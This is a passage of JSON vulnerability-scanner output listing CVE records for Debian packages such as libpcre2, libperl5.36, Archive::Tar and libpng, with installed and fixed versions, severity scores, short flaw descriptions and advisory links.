"https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "https://linux.oracle.com/cve/CVE-2026-89157.html", "https://linux.oracle.com/errata/ELSA-2026-81613.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89157", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89157" ], "PublishedDate": "2026-09-11T04:18:03.753Z", "LastModifiedDate": "2026-09-16T19:25:08.88Z" }, { "VulnerabilityID": "CVE-2026-89161", "VendorIDs": [ "DLA-4772-1" ], "PkgID": "libpcre2-8-0@10.42-1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.42-1?arch=amd64\u0026distro=debian-12.13", "UID": "e1e889519893a026" }, "InstalledVersion": "10.42-1", "FixedVersion": "10.42-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89161", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a4916c77725e33b0f549ed1dbf9c54fdf65ad73dae5ce593848fc2a76280b344", "Title": "pcre2: PCRE2: Memory corruption vulnerability in pcre2_jit_match", "Description": "In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-590" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89161", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/commit/1dcd0cf42a6a7cb62cc9a7c024196733abcfda95%20%28pcre2-10.48-RC1%29", "https://github.com/PCRE2Project/pcre2/pull/937", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://linux.oracle.com/cve/CVE-2026-89161.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89161", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89161" ], "PublishedDate": "2026-09-11T04:18:04.47Z", "LastModifiedDate": "2026-09-16T19:10:47.78Z" }, { "VulnerabilityID": "CVE-2026-13221", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:38be21abccf6f6fb4f24b9ec2d68b643f76afaaf4f9b61a962a22b9e8c58dac4", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca907df92c0f210c260c8949a6714106fd68bd01518cb25d1595ce54140e7a70", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a64f1a7894f38890d15b1c238dbee5645dbe6669be6f44caa08ed635119bde44", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5c439ed57e360f2266d8d6db963808988c27488ea381c3011746c903e94275fc", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1217b1bf43524140dcd34a01e876b59150e937fa636d0d45db5532b3d368ab57", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:443662fc813cf91989955bbd245949ae470b42df6614916b73f206fab87e9cf0", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:10c19d7903b8faea3dba3965280a2e3c627a1f800ae191d2dab996ed4d5b2ebf", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "libperl5.36@5.36.0-7+deb12u3", "PkgName": "libperl5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "InstalledVersion": "5.36.0-7+deb12u3", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54a677def871cbf4170ed72599b2b3dabfacae954ae311862c09f167ab480244", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-22695", "PkgID": "libpng16-16@1.6.39-2+deb12u1", "PkgName": "libpng16-16", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpng16-16@1.6.39-2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b3bc8ee9dbf92b13" }, "InstalledVersion": "1.6.39-2+deb12u1", "FixedVersion": "1.6.39-2+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22695", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3c18a6f498072fa5f0faeb356d0922c6af822ddc9c1791821cd1d43903275db3", "Title": "libpng: libpng: Denial of service and information disclosure via heap buffer over-read in png_image_finish_read", "Description": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.6.51 to 1.6.53, there is a heap buffer over-read in the libpng simplified API function png_image_finish_read when processing interlaced 16-bit PNGs with 8-bit output format and non-minimal row stride. This is a regression introduced by the fix for CVE-2025-65018. This vulnerability is fixed in 1.6.54.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": 